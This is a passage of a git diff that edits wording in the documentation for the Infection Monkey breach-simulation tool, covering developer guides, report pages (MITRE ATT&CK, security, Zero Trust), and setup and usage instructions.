I've implemented? +## How do I test the new Zero Trust test I've implemented? -Test ALL possible finding statuses you've defined in a fake network. Observe the events as well and see they were formatted correctly. If there's an algorithmic part to your Zero Trust test, please cover it using a Unit Test. +Test ALL possible finding statuses you've defined in a fake network. Ensure the events were formatted correctly by observing them. If there's an algorithmic part to your Zero Trust test, please cover it using a Unit Test. diff --git a/docs/content/development/adding-post-breach-actions.md b/docs/content/development/adding-post-breach-actions.md index a5445bfc9..033a6118c 100644 --- a/docs/content/development/adding-post-breach-actions.md +++ b/docs/content/development/adding-post-breach-actions.md @@ -6,17 +6,17 @@ tags: ["contribute"] weight: 90 --- -## What's this? +## What does this guide cover? -This guide will show you how to create a new _Post Breach action_ for the Infection Monkey. _Post Breach actions_ are "extra" actions that the Monkey can perform on the victim machines after it propagated to them. +This guide will show you how to create a new _post-breach action_ (PBA) for the Infection Monkey. PBA are "extra" actions that the Infection Monkey can perform on victim machines after propagating to them. ## Do I need a new PBA? -If all you want is to execute shell commands, then there's no need to add a new PBA - just configure the required commands in the Monkey Island configuration! If you think that those specific commands have reuse value in all deployments and not just your own, you can add a new PBA. If you need to run actual Python code, you must add a new PBA. +If all you want to do is execute shell commands, then there's no need to add a new PBA - just configure the required commands in the Monkey Island configuration! If you think that those specific commands have reuse value in other deployments besides your own, you can add a new PBA. Additionally, if you need to run actual Python code, you must add a new PBA. ## How to add a new PBA -### Monkey side +### From the Infection Monkey Side #### Framework @@ -43,7 +43,7 @@ If your PBA consists only of simple shell commands, you can reuse the generic PB Otherwise, you'll need to override the `run` method with your own implementation. See the `communicate_as_new_user.py` PBA for reference. Make sure to send the relevant PostBreachTelem upon success/failure. You can log during the PBA as well. -### Island side +### From the Monkey Island Side #### Configuration @@ -67,10 +67,10 @@ You'll need to add your PBA to the `config_schema.py` file, under `post_breach_a }, ``` -Now you can choose your PBA when configuring the Monkey on the Monkey island: +Now you can choose your PBA when configuring the Infection Monkey on the Monkey island: ![PBA in configuration](https://i.imgur.com/9PrcWr0.png) #### Telemetry processing -If you wish to process your Post Breach action telemetry (for example, to analyze it for report data), add a processing function to the `POST_BREACH_TELEMETRY_PROCESSING_FUNCS` which can be found at `monkey/monkey_island/cc/services/telemetry/processing/post_breach.py`. You can look at the `process_communicate_as_new_user_telemetry` method as an example. +If you wish to process your PBA telemetry (for example, to analyze it for report data), add a processing function to the `POST_BREACH_TELEMETRY_PROCESSING_FUNCS`, which can be found at `monkey/monkey_island/cc/services/telemetry/processing/post_breach.py`. You can reference the `process_communicate_as_new_user_telemetry` method as an example. diff --git a/docs/content/development/adding-system-info-collectors.md b/docs/content/development/adding-system-info-collectors.md index c9916e34b..5a7aadd94 100644 --- a/docs/content/development/adding-system-info-collectors.md +++ b/docs/content/development/adding-system-info-collectors.md @@ -6,21 +6,21 @@ tags: ["contribute"] weight: 80 --- -## What's this? +## What does this guide cover? -This guide will show you how to create a new _System Info Collector_ for the Infection Monkey. _System Info Collectors_ are modules which each Monkey runs, that collect specific information and sends it back to the Island as part of the System Info Telemetry. +This guide will show you how to create a new _System Info Collector_ for the Infection Monkey. System Info Collectors are modules that each of the Infection Monkey agents runs that collect specific information and send it back to the Monkey Island as part of the System Info Telemetry. -### Do I need a new System Info Controller? +### Do I need a new System Info Collector? -If all you want is to execute a shell command, then there's no need to add a new collector - just configure the required commands in the Monkey Island configuration in the PBA section! Also, if there is a relevant collector and you only need to add more information to it, expand the existing one. Otherwise, you must add a new Collector. +If all you want to do is execute a shell command, then there's no need to add a new System Info Collector - just configure the required commands in the Monkey Island's post-breach action (PBA) section! Also, if there is a relevant System Info Collector and you only need to add more information to it, simply expand the existing one. Otherwise, you must add a new System Info Collector. -## How to add a new System Info Collector +## How to add a new System Info Collector -### Monkey side +### From the Monkey Island Side #### Framework -1. Create your new collector in the following directory: `monkey/infection_monkey/system_info/collectors` by first creating a new file with the name of your collector. +1. Create your new System Info Collector in the following directory: `monkey/infection_monkey/system_info/collectors` by first creating a new file with the name of your System Info Collector. 2. In that file, create a class that inherits from the `SystemInfoCollector` class: ```py @@ -29,7 +29,7 @@ from infection_monkey.system_info.system_info_collector import SystemInfoCollect class MyNewCollector(SystemInfoCollector): ``` -3. Set the Collector name in the constructor, like so: +3. Set the System Info Collector name in the constructor, like so: ```py class MyNewCollector(SystemInfoCollector): @@ -39,15 +39,15 @@ class MyNewCollector(SystemInfoCollector): #### Implementation -Override the `collect` method with your own implementation. See the `EnvironmentCollector.py` Collector for reference. You can log during collection as well. +Override the `collect` method with your own implementation. See the `EnvironmentCollector.py` System Info Collector for reference. You can log during collection as well. -### Island side +### From the Monkey Island Side -#### Island Configuration +#### Configuration ##### Definitions -You'll need to add your Collector to the `monkey_island/cc/services/config_schema.py` file, under `definitions/system_info_collectors_classes/anyOf`, like so: +You'll need to add your Sytem Info Collector to the `monkey_island/cc/services/config_schema.py` file, under `definitions/system_info_collectors_classes/anyOf`, like so: ```json "system_info_collectors_classes": { @@ -76,7 +76,7 @@ You'll need to add your Collector to the `monkey_island/cc/services/config_schem ##### properties -Also, you can add the Collector to be used by default by adding it to the `default` key under `properties/monkey/system_info/system_info_collectors_classes`: +Also, you can add the System Info Collector to be used by default by adding it to the `default` key under `properties/monkey/system_info/system_info_collectors_classes`: ```json "system_info_collectors_classes": { @@ -96,6 +96,6 @@ Also, you can add the Collector to be used by default by adding it to the `defau #### Telemetry processing -1. Add a process function under `monkey_island/cc/telemetry/processing/system_info_collectors/{DATA_NAME_HERE}.py`. The function should parse the collector's result. See `processing/system_info_collectors/environment.py` for example. +1. Add a process function under `monkey_island/cc/telemetry/processing/system_info_collectors/{DATA_NAME_HERE}.py`. The function should parse the System Info Collector's result. See `processing/system_info_collectors/environment.py` for example. 2. Add that function to `SYSTEM_INFO_COLLECTOR_TO_TELEMETRY_PROCESSORS` under `monkey_island/cc/services/telemetry/processing/system_info_collectors/system_info_telemetry_dispatcher.py`. diff --git a/docs/content/development/contribute-documentation.md b/docs/content/development/contribute-documentation.md index 5d6913edb..ce4dbef4b 100644 --- a/docs/content/development/contribute-documentation.md +++ b/docs/content/development/contribute-documentation.md @@ -6,11 +6,11 @@ weight: 1 tags: ["contribute"] --- -The `/docs` folder contains the Monkey Documentation site. +The `/docs` folder contains the Infection Monkey Documentation site. The site is based on [Hugo](https://gohugo.io/) and the [learn](https://themes.gohugo.io/theme/hugo-theme-learn/en) theme. -- [Directory Structure](#directory-structure) +- [Directory structure](#directory-structure) - [content](#content) - [static](#static) - [config](#config) @@ -30,35 +30,35 @@ The site is based on [Hugo](https://gohugo.io/) and the [learn](https://themes.g - [`failed to extract shortcode: template for shortcode "children" not found` or theme doesn't seem right?](#failed-to-extract-shortcode-template-for-shortcode-children-not-found-or-theme-doesnt-seem-right) - [CSS is missing](#css-is-missing) -## Directory Structure +## Directory structure By order of importance: -### content +### Content -The most important directory is `/content`: This is the directory which contains the content files. [Read this to understand how pages are organized in that folder](https://themes.gohugo.io//theme/hugo-theme-learn/en/cont/pages/). +The most important directory is `/content`. This is the directory which contains the content files. [Read this to understand how pages are organized in that folder](https://themes.gohugo.io//theme/hugo-theme-learn/en/cont/pages/). -### static +### Static -In this directory you should place images, `css` files, `js` files, and other static content the site should serve. To access that static content in a page, use something similar to this: +In this directory you should place images, `css` files, `js` files and other static content the site should serve. To access that static content in a page, use something similar to this: ```markdown ![AWS instance ID](../../images/setup/aws/aws-instance-id.png "AWS instance ID") ``` -### config +### Config -This folder controls a lot of parameters regarding the site generation. +This folder controls many of the parameters regarding the site generation. -### themes +### Themes -This is the theme we're using. It's a submodule (so to get it you need to run `git submodule update`). It's our own fork of the [learn](https://themes.gohugo.io/hugo-theme-learn/) theme. If we want to make changes to the theme itself or pull updates from the upstream you'll do it here. +This is the theme we're using. It's a submodule (to get it you need to run `git submodule update`). It's our own fork of the [learn](https://themes.gohugo.io/hugo-theme-learn/) theme. If you want to make changes to the theme itself, or pull updates from the upstream, you'll do it here. -### layouts and archtypes +### Layouts and archtypes -This directory includes custom [HTML partials](https://gohugo.io/templates/partials/), custom [shortcodes](https://gohugo.io/content-management/shortcodes/), and content templates. Best to not mess with the existing stuff here too much, but rather add new things. +This directory includes custom [HTML partials](https://gohugo.io/templates/partials/), custom [shortcodes](https://gohugo.io/content-management/shortcodes/) and content templates. It's best not to mess with the existing stuff here too much, but rather add new things. -### public and resources +### Public and resources These are the build output of `hugo` and should never be `commit`-ed to git. @@ -66,13 +66,13 @@ These are the build output of `hugo` and should never be `commit`-ed to git. ### Requirements -You have to [install `hugo`](https://gohugo.io/getting-started/installing/), a text editor that's good for markdown (`vscode` and `vim` are good options), and `git`. +You'll have to [install `hugo`](https://gohugo.io/getting-started/installing/), a text editor that's good for markdown (`vscode` and `vim` are good options) and `git`. ### Adding and editing content #### Add a new page -Run `hugo new folder/page.md`. Optionally add `--kind chapter` if this is a new chapter page. For example, `hugo new usage/getting-started.md` created the Getting Started page. +Run `hugo new folder/page.md`. Optionally add `--kind chapter` if creating a new chapter page. For example, `hugo new usage/getting-started.md` created the Getting Started page. #### Editing an existing page @@ -92,11 +92,11 @@ Run `hugo --environment staging` or `hugo --environment production`. This will c ##### `Error: Unable to locate config file or config directory. Perhaps you need to create a new site.` -What is your working directory? It should be `monkey/docs`. +Did you confirm your working directory? It should be `monkey/docs`. ##### `failed to extract shortcode: template for shortcode "children" not found` or theme doesn't seem right? -Have you ran `git submodule update`? +Have you run `git submodule update`? ##### CSS is missing diff --git a/docs/content/development/setup-development-environment.md b/docs/content/development/setup-development-environment.md index b2d0b7f1e..d558b11ce 100644 --- a/docs/content/development/setup-development-environment.md +++ b/docs/content/development/setup-development-environment.md @@ -8,17 +8,17 @@ tags: ["contribute"] ## Deployment scripts -To setup development environment using scripts look at the readme under [`/deployment_scripts`](https://github.com/guardicore/monkey/blob/develop/deployment_scripts). If you want to setup it manually or if run into some problems, read further below. +To set up a development environment using scripts, look at the readme under [`/deployment_scripts`](https://github.com/guardicore/monkey/blob/develop/deployment_scripts). If you want to set it up manually or run into problems, keep reading. ## Agent -The Agent, (what we refer as the Monkey), is a single Python project under the [`infection_monkey`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey) folder. Built for Python 3.7, you can get it up and running by setting up a [virtual environment](https://docs.python-guide.org/dev/virtualenvs/) and inside it installing the requirements listed under [`requirements.txt`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/requirements.txt). +The agent (which we sometimes refer to as the Infection Monkey) is a single Python project under the [`infection_monkey`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey) folder. The Infection Monkey agent was built for Python 3.7. You can get it up and running by setting up a [virtual environment](https://docs.python-guide.org/dev/virtualenvs/) and installing the requirements listed in the [`requirements.txt`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/requirements.txt) inside it. -In order to compile the Monkey for distribution by the Monkey Island, you need to run the instructions listed in [`readme.txt`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/readme.txt) on each supported environment. +In order to compile the Infection Monkey for distribution by the Monkey Island, you'll need to run the instructions listed in the [`readme.txt`](https://github.com/guardicore/monkey/blob/master/monkey/infection_monkey/readme.txt) on each supported environment. -This means setting up an environment with Linux 32/64-bit with Python installed and a Windows 64-bit machine with developer tools + 32/64-bit Python versions. +This means setting up an environment with Linux 32/64-bit with Python installed and a Windows 64-bit machine with developer tools, along with 32/64-bit Python versions. -## Monkey Island +## The Monkey Island The Monkey Island is a Python backend React frontend project. Similar to the agent, the backend's requirements are listed in the matching [`requirements.txt`](https://github.com/guardicore/monkey/blob/master/monkey/monkey_island/requirements.txt). diff --git a/docs/content/development/swimm.md b/docs/content/development/swimm.md index 9ab29e40b..9dd1be6c1 100644 --- a/docs/content/development/swimm.md +++ b/docs/content/development/swimm.md @@ -6,24 +6,24 @@ weight: 3 tags: ["contribute"] --- -The Monkey has development tutorials that use [`swimm.io`](https://swimm.io/) to help teach new developers how to perform common code tasks in the Monkey codebase and help the ramp-up process. The tutorial include adding new configuration values, new system info collectors, and more. +The Infection Monkey has development tutorials that use [`swimm.io`](https://swimm.io/) to help teach new developers how to perform common code tasks in the Infection Monkey codebase and accelerate the ramp-up process. The tutorials include adding new configuration values, new system info collectors and more. ![swimm logo](https://swimm.io/img/squarelogo.png "swimm logo") # How to start learning -First, [sign up for swimm's beta](https://swimm.io/sign-beta). `swimm` is free for open-source projects, but as they're still in beta, you need to sign up in order to download it. +First, [sign up for swimm's beta](https://swimm.io/sign-beta). `swimm` is free for open-source projects, but as they're still in beta you'll need to sign up in order to download it. -After you've downloaded and installed `swimm`, open a shell in the Monkey repo folder and run: +After you've downloaded and installed `swimm`, open a shell in the Infeciton Monkey repo folder and run: ```shell script swimm start ``` -A local web server with the currently available tutorials should show up, and look something like this: +A local web server with the currently available tutorials should show up, and will look something like this: ![swimm server](https://i.imgur.com/NFBH4Vr.png "swimm server") -Choose which playlist you'd like to learn, click on it, and follow the instructions. +Choose which playlist you'd like to learn, click on it and follow the instructions. πŸŠβ€β™€οΈπŸŠβ€β™‚οΈ diff --git a/docs/content/reports/_index.md b/docs/content/reports/_index.md index 62996d8a7..50af928b9 100644 --- a/docs/content/reports/_index.md +++ b/docs/content/reports/_index.md @@ -8,6 +8,6 @@ pre = " " # Infection Monkey's Reports -The Monkey offers three reports: +The Infection Monkey offers three reports: {{% children description=true style="p"%}} diff --git a/docs/content/reports/mitre.md b/docs/content/reports/mitre.md index 96d0b20b2..d1ab3f20c 100644 --- a/docs/content/reports/mitre.md +++ b/docs/content/reports/mitre.md @@ -6,12 +6,12 @@ draft: false --- {{% notice info %}} -Check out [the documentation for the other reports](../) and [the documentation for supported ATT&CK techniques as well](../../../reference/mitre_techniques). +Check out [the documentation for other reports available in the Infection Monkey](../) and [the documentation for supported ATT&CK techniques](../../../reference/mitre_techniques). {{% /notice %}} -The Monkey maps its actions to the [MITRE ATT&CK](https://attack.mitre.org/) knowledge base: It provides a new report with the utilized techniques and recommended mitigations, to help you simulate an APT attack on your network and mitigate real attack paths intelligently. +The Infection Monkey maps its actions to the [MITRE ATT&CK](https://attack.mitre.org/) knowledge base. After simulating an advanced persistent threat (APT) attack, it generates a report summarizing the success of the techniques utilized along with recommended mitigation steps, helping you identify and mitigate attack paths in your environment. -Watch an overview video: +Watch the overview video: {{% youtube 3tNrlutqazQ %}} @@ -21,17 +21,17 @@ The MITRE ATT&CK report is centred around the ATT&CK matrix: ![MITRE Report](/images/usage/reports/mitre-report-0.png "MITRE Report") -The Monkey rates your network on the attack techniques it attempted. For each technique, you can get +The Infection Monkey rates your network on the attack techniques it attempted, assigning one of the corresponding labels to each: -- {{< label danger Red >}}: The Monkey **successfully used** the technique in the simulation. That means your network is vulnerable to this technique being employed. -- {{< label warning Yellow >}}: The Monkey **tried to use** the technique, but didn't manage to. That means your network isn't vulnerable to the way Monkey employs this technique. +- {{< label danger Red >}}: The Infection Monkey **successfully used** this technique in the simulation. This means your network is vulnerable to the technique. +- {{< label warning Yellow >}}: The Infection Monkey **tried to use** the technique, but wasn’t successful. This means your network isn't vulnerable to the way Infection Monkey employed this technique. - {{< label unused "Dark Gray" >}}: The Monkey **didn't try** the technique. Perhaps it wasn't relevant to this network. - {{< label disabled "Light Gray" >}}: The Monkey **didn't try** the technique since it wasn't configured. -Then, you can see exactly HOW the technique was used in this attack, and also what you should do to mitigate it, by clicking on the technique and seeing the details. For example, let's look at the [**Brute Force**](https://attack.mitre.org/techniques/T1110/) technique that's a part of employing the [**Credentials Access**](https://attack.mitre.org/tactics/TA0006/) tactic: +By clicking on each of the listed techniques, you can see exactly how the Infection Monkey used it and any recommended mitigation steps. For example, let's look at the [**Brute Force**](https://attack.mitre.org/techniques/T1110/) technique that's a part of employing the [**Credentials Access**](https://attack.mitre.org/tactics/TA0006/) tactic: ![MITRE Report Credentials Access technique](/images/usage/reports/mitre-report-cred-access.png "MITRE Report Credentials Access technique") -In this example, you can see how the Monkey was able to use one old `root` password to access all machines in the network. When scrolling to the bottom of this list, you can also see the mitigation recommended, including **Account Use Policies** and implementing **Multiple Factor Authentication**. +In this example, you can see how the Infection Monkey was able to use an old `root` password to access all machines in the network. When scrolling to the bottom of this list, you can also see the mitigation steps recommended, including reconfiguring your **Account Use Policies** and implementing **Multi-factor Authentication**. ![MITRE Report Credentials Access technique](/images/usage/reports/mitre-report-cred-access-mitigations.png "MITRE Report Credentials Access technique") diff --git a/docs/content/reports/security.md b/docs/content/reports/security.md index e3203d731..e70f8539c 100644 --- a/docs/content/reports/security.md +++ b/docs/content/reports/security.md @@ -6,93 +6,93 @@ description: "Provides actionable recommendations and insight into an attacker's --- {{% notice info %}} -Check out [the documentation for the other reports as well](../). +Check out [the documentation for other reports available in the Infection Monkey](../). {{% /notice %}} -The Monkey's Security Report is built to provide you with actionable recommendations and insight to the Attacker's view of your network. You can download a PDF of this example report: +The Infection Monkey's **Security Report** provides you with actionable recommendations and insight into an attacker's view of your network. You can download a PDF of an example report here: {{%attachments title="Download the PDF" pattern=".*(pdf)"/%}} -The report is split into 3 main categories: "Overview", "Recommendations" and "The network from the Monkey's eyes". +The report is split into three main categories: - [Overview](#overview) - - [High level information](#high-level-information) - - [Used Credentials](#used-credentials) + - [High-level information](#high-level-information) + - [Used credentials](#used-credentials) - [Exploits and targets](#exploits-and-targets) - - [Security Findings](#security-findings) + - [Security findings](#security-findings) - [Recommendations](#recommendations) - - [Machine related recommendations relating to specific CVEs](#machine-related-recommendations-relating-to-specific-cves) - - [Machine related recommendations relating to network security and segmentation](#machine-related-recommendations-relating-to-network-security-and-segmentation) + - [Machine-related recommendations relating to specific CVEs](#machine-related-recommendations-relating-to-specific-cves) + - [Machine-related recommendations relating to network security and segmentation](#machine-related-recommendations-relating-to-network-security-and-segmentation) - [The network from the Monkey's eyes](#the-network-from-the-monkeys-eyes) - [Network infection map](#network-infection-map) - [Scanned servers](#scanned-servers) - [Exploits and post-breach actions](#exploits-and-post-breach-actions) - - [Stolen Credentials](#stolen-credentials) + - [Stolen credentials](#stolen-credentials) ## Overview -The overview section of the report provides high-level information about the Monkey execution and the main security findings that the Monkey has found. +The overview section of the report provides high-level information about the Infection Monkey's execution and main security findings. -### High level information +### High-level information -The report starts with information about the execution, including how long the simulation took and from which machine the infection started from. +This section shows general information about the Infection Monkey's execution, including which machine the infection originated from and how long the breach simulation took. ![Overview](/images/usage/reports/sec_report_1_overview.png "Overview") -### Used Credentials +### Used credentials -The report will show which credentials were used for brute-forcing. +This section shows which credentials were used for brute-forcing. ![Used Credentials](/images/usage/reports/sec_report_2_users_passwords.png "Used Credentials") ### Exploits and targets -The report shows which exploits were attempted in this simulation and which targets the Monkey scanned and tried to exploit. +This section shows which exploits were attempted in this simulation and which targets the Infection Monkey scanned and tried to exploit. ![Exploits and Targets](/images/usage/reports/sec_report_3_exploits_ips.png "Exploits and Targets") -### Security Findings +### Security findings -The report highlights the most important security threats and issues the Monkey discovered during the attack. +This section highlights the most important security threats and issues discovered during the attack. ![Threats and issues](/images/usage/reports/sec_report_4_threats_and_issues.png "Threats and issues") ## Recommendations -This section contains the Monkey's recommendations for improving your security - what mitigations you need to implement. +This section contains recommendations for improving your security, including actionable mitigation steps. -### Machine related recommendations relating to specific CVEs +### Machine-related recommendations relating to specific CVEs -![Machine related recommendations](/images/usage/reports/sec_report_5_machine_related.png "Machine related recommendations") +![Machine-related recommendations](/images/usage/reports/sec_report_5_machine_related.png "Machine related recommendations") -### Machine related recommendations relating to network security and segmentation +### Machine-related recommendations relating to network security and segmentation -![Machine related recommendations](/images/usage/reports/sec_report_6_machine_related_network.png "Machine related recommendations") +![Machine-related recommendations](/images/usage/reports/sec_report_6_machine_related_network.png "Machine related recommendations") ## The network from the Monkey's eyes -This section contains the Infection Map and some summary tables on servers the Monkey has found. +This section contains the infection map and summary tables on servers the Infection Monkey found. ### Network infection map -This part shows the network map and a breakdown of how many machines were breached. +This section shows the network map and a breakdown of how many machines the Infection Monkey breached. ![Network map](/images/usage/reports/sec_report_7_network_map.png "Network map") ### Scanned servers -This part shows the attack surface the Monkey has found. +This section shows the attack surface the Infection Monkey discovered. ![Scanned servers](/images/usage/reports/sec_report_8_network_services.png "Scanned servers") ### Exploits and post-breach actions -This part shows which exploits and Post Breach Actions the Monkey has performed in this simulation. +This section shows which exploits and post-beach actions the Infection Monkey performed during the simulation. ![Exploits and PBAs](/images/usage/reports/sec_report_9_exploits_pbas.png "Exploits and PBAs") -### Stolen Credentials +### Stolen credentials -This part shows which credentials the Monkey was able to steal from breached machines in this simulation. +This section shows which credentials the Infection Monkey was able to steal from breached machines during this simulation. ![Stolen creds](/images/usage/reports/sec_report_10_stolen_credentials.png "Stolen creds") diff --git a/docs/content/reports/zero-trust.md b/docs/content/reports/zero-trust.md index 1bbd2dbd4..0e41d8ff7 100644 --- a/docs/content/reports/zero-trust.md +++ b/docs/content/reports/zero-trust.md @@ -6,14 +6,18 @@ description: "Generates a status report with detailed explanations of Zero Trust --- {{% notice info %}} -Check out [the documentation for the other reports as well](../). +Check out [the documentation for other reports available in the Infection Monkey](../). {{% /notice %}} -The Guardicore Infection Monkey runs different tests to evaluate your network adherence to key components of the Zero Trust framework as established by Forrester, such as whether you have applied segmentation, user identity, encryption and more. Then, the Monkey generates a status report with detailed explanations of security gaps and prescriptive instructions on how to rectify them. +The Guardicore Infection Monkey runs different tests to evaluate your network's adherence to the Zero Trust framework's key components established by Forrester, such as whether you have applied segmentation, verified user identities, enabled encryption and more. Then, the Infection Monkey generates a status report with detailed explanations of security gaps and prescriptive instructions for rectifying them. + +Watch the overview video here: + +{{% youtube z4FNu3WCd9o %}} ## Summary -This diagram provides a quick glance at how your organization scores on each component of the Forrester's Zero Trust model with **Failed**, **Verify**, **Passed** and **Unexecuted** verdicts. +This diagram provides you with a quick glance at how your organization scores on each pillar of the Forrester Zero Trust model with **Failed**, **Verify**, **Passed** and **Unexecuted** verdicts. - {{< label danger Failed >}} At least one of the tests related to this component failed. This means that the Infection Monkey detected an unmet Zero Trust requirement. - {{< label warning Verify >}} At least one of the tests' results related to this component requires further manual verification. @@ -24,24 +28,18 @@ This diagram provides a quick glance at how your organization scores on each com ## Test Results -See how your network fared against each of the tests the Infection Monkey ran. The tests are ordered by Zero Trust components so you can quickly navigate to the components you care about first. +This section shows how your network fared against each of the tests the Infection Monkey ran. The tests are ordered by Zero Trust pillar, so you can quickly navigate to the category you want to prioritize. ![Zero Trust Report test results](/images/usage/reports/ztreport2.png "Zero Trust Report test results") ## Findings -Deep-dive into the details of each test, and see the explicit events and exact timestamps in which things happened in your network. This will enable you to match up with your SOC logs and alerts and to gain deeper insight as to what exactly happened during each of the tests. +This section shows each test's details, including the explicit events and exact timestamps for the activities that took place in your network. This enables you to compare results with your SOC logs and alerts to gain more in-depth insights. ![Zero Trust Report Findings](/images/usage/reports/ztreport3.png "Zero Trust Report Findings") ## Events -The results are exportable. Click Export after clicking on Events to view them in a machine-readable format. +Your results are exportable. Click **Export** after clicking on **Events** to view them in a machine-readable format. ![Zero Trust Report events](/images/usage/reports/ztreport4.png "Zero Trust Report events") - -## Overview Video - -You can check out an overview video here: - -{{% youtube z4FNu3WCd9o %}} diff --git a/docs/content/setup/accounts-and-security.md b/docs/content/setup/accounts-and-security.md index 7f15a34c5..da8dbbbb3 100644 --- a/docs/content/setup/accounts-and-security.md +++ b/docs/content/setup/accounts-and-security.md @@ -9,7 +9,7 @@ tags: ["usage", "password"] ## Security in the Infection Monkey -The first time you launch Monkey Island (the Infection Monkey CC server), you'll be prompted to create an account and secure your island. After account creation, the server will only be accessible via the credentials you entered. +The first time you launch Monkey Island (the Infection Monkey C&C server), you'll be prompted to create an account and secure your island. After account creation, the server will only be accessible via the credentials you entered. If you want an island to be accessible without credentials, press *I want anyone to access the island*. Please note that this option is insecure, and you should only use it in development environments. diff --git a/docs/content/usage/_index.md b/docs/content/usage/_index.md index c5faecd05..8bbbab800 100644 --- a/docs/content/usage/_index.md +++ b/docs/content/usage/_index.md @@ -8,6 +8,6 @@ pre = ' ' # Usage -If you're just starting with Infection Monkey, check out our [Getting Started](getting-started) page. +If you're new to the Infection Monkey, check out our [Getting Started](getting-started) page. -If you haven't downloaded Monkey yet, {{% button href="https://www.guardicore.com/infectionmonkey/#download" icon="fas fa-download" %}}Get Infection Monkey here{{% /button %}}! +If you haven't downloaded the Infection Monkey yet, {{% button href="https://www.guardicore.com/infectionmonkey/#download" icon="fas fa-download" %}}Get Infection Monkey here{{% /button %}}! diff --git a/docs/content/usage/configuration/_index.md b/docs/content/usage/configuration/_index.md index 0a3558805..7227fd285 100644 --- a/docs/content/usage/configuration/_index.md +++ b/docs/content/usage/configuration/_index.md @@ -7,9 +7,9 @@ weight: 3 pre: " " --- -# Configure the Monkey +# Configure the Infection Monkey -The Monkey is highly configurable. Nearly every part of it can be modified to turn it to a fast acting worm or into a port scanning and system information collecting machine. +The Infection Monkey is highly configurable. Nearly every part of it can be modified to turn it into a fast-acting worm or a port scanning and system information collecting machine. {{% notice warning %}} This section of the documentation is incomplete and under active construction. diff --git a/docs/content/usage/configuration/basic-credentials.md b/docs/content/usage/configuration/basic-credentials.md index 1fc3bd366..d87ab97dd 100644 --- a/docs/content/usage/configuration/basic-credentials.md +++ b/docs/content/usage/configuration/basic-credentials.md @@ -5,6 +5,6 @@ draft: false description: "Configure credentials that the Monkey will use for propagation." --- -In this screen you can feed the Monkey with β€œstolen” credentials for your network, simulating an attacker with inside knowledge. +On this screen you can feed the Infection Monkey β€œstolen” credentials from your network, simulating an attacker with inside knowledge. ![Configure credentials](/images/usage/configuration/credentials.png "Configure credentials") diff --git a/docs/content/usage/configuration/basic-network.md b/docs/content/usage/configuration/basic-network.md index 410f7a2ee..fa6c6004d 100644 --- a/docs/content/usage/configuration/basic-network.md +++ b/docs/content/usage/configuration/basic-network.md @@ -7,6 +7,6 @@ description: "Configure settings related to the Monkey's network activity." Here you can control multiple important settings, such as: -* Network propagation depth - How many hops from the base machine will the Monkey spread -* Local network scan - Should the Monkey attempt to attack any machine in its subnet -* Scanner IP/subnet list - Specific IP ranges that the Monkey should try to attack. +* Network propagation depth - How many hops from the base machine will the Infection Monkey spread? +* Local network scan - Should the Infection Monkey attempt to attack any machine in its subnet? +* Scanner IP/subnet list - Which specific IP ranges should the Infection Monkey should try to attack? diff --git a/docs/content/usage/getting-started.md b/docs/content/usage/getting-started.md index 958318552..6572e7b24 100644 --- a/docs/content/usage/getting-started.md +++ b/docs/content/usage/getting-started.md @@ -7,7 +7,7 @@ pre: " " tags: ["usage"] --- -If you haven't deployed the Monkey Island yet, please [refer to our setup documentation](/setup) +If you haven't deployed the Monkey Island yet, please [refer to our setup documentation](/setup). ## Using the Infection Monkey @@ -15,26 +15,26 @@ After deploying the Monkey Island in your environment, navigate to `https:// Integrations](../../usage/integrations) for information about how Monkey integrates with AWS. +If you're running the Infection Monkey in an AWS cloud environment, check out [Usage -> Integrations](../../usage/integrations) for information about how it integrates with AWS. {{% /notice %}} -### Infection Map +### Infection map Next, click **Infection Map** to see the Infection Monkey in action. @@ -48,8 +48,8 @@ Within a few minutes, the Infection Monkey should be able to find and attack acc ![Middle of Monkey execution](/images/usage/getting-started/single_exploitation.JPG "Middle of Monkey execution") -As the Infection Monkey continues, the map should be filled with accessible and β€œhacked” machines. Once all the Infection Monkeys have finished propagating, click **Reports** to see the reports. See [Infection Monkey Reports](../reports) for more info. +As the simulation continues, the Infection Monkey will fill in the map with data on accessible and "hacked" machines. Once all the Infection Monkeys have finished propagating, click **Reports** to see the reports. See [Infection Monkey Reports](../reports) for more info. ![End of Monkey execution](/images/usage/getting-started/exploitation_tunneling_arrow.jpg "End of Monkey execution") -Congratulations, you finished first successful execution of the Infection Monkey! πŸŽ‰ To thoroughly test your network, you can run the Infection Monkey from different starting locations using different configurations. +Congratulations, you finished your first successful execution of the Infection Monkey πŸŽ‰ ! To thoroughly test your network, you can run the Infection Monkey from different starting locations and use different configurations. diff --git a/docs/content/usage/integrations/_index.md b/docs/content/usage/integrations/_index.md index 6f7dd52b1..d4e78e1e5 100644 --- a/docs/content/usage/integrations/_index.md +++ b/docs/content/usage/integrations/_index.md @@ -7,8 +7,8 @@ weight: 10 pre: " " --- -# Integrate the Monkey with 3rd party software +# Integrate the Infection Monkey with third-party software -The Monkey likes working together. See these documentation pages for information on each integration the Monkey currently offers: +The Infection Monkey likes working together! See these documentation pages for information on each integration the Infection Monkey currently offers: {{% children description=true style="p"%}} diff --git a/docs/content/usage/integrations/aws-run-on-ec2-machine.md b/docs/content/usage/integrations/aws-run-on-ec2-machine.md index e30a8b554..7c000ade1 100644 --- a/docs/content/usage/integrations/aws-run-on-ec2-machine.md +++ b/docs/content/usage/integrations/aws-run-on-ec2-machine.md @@ -8,23 +8,23 @@ tags: ["aws", "integration"] ## When to use this feature -If your network is deployed on Amazon Web Services (with EC2 instances), and you'd like to run the Infection Monkey in order to test it, this page is for you. You can easily run the monkey on **various instances** within your network - in a secure fashion, **without** feeding the Island with any credentials or running shell commands on the machines you want to test. +If your network is deployed on Amazon Web Services (with EC2 instances) and you'd like to run the Infection Monkey to test it, this page is for you. You can easily run the Infection Monkey on various instances within your network in a secure fashion, without feeding it credentials or running shell commands on the machines you want to test. -The results will be exported to AWS security hub automatically, as well. To see more information about that, see the [Infection Monkey and AWS Security Hub documentation](https://github.com/guardicore/monkey/wiki/Infection-Monkey-and-AWS-Security-Hub). +The results will be exported to the AWS security hub automatically as well. To learn more about that topic, see the [Infection Monkey and AWS Security Hub documentation](https://github.com/guardicore/monkey/wiki/Infection-Monkey-and-AWS-Security-Hub). ![AWS EC2 logo](/images/usage/integrations/aws-ec2.svg?height=250px "AWS EC2 logo") ## Setup -Assuming your network is already set up in 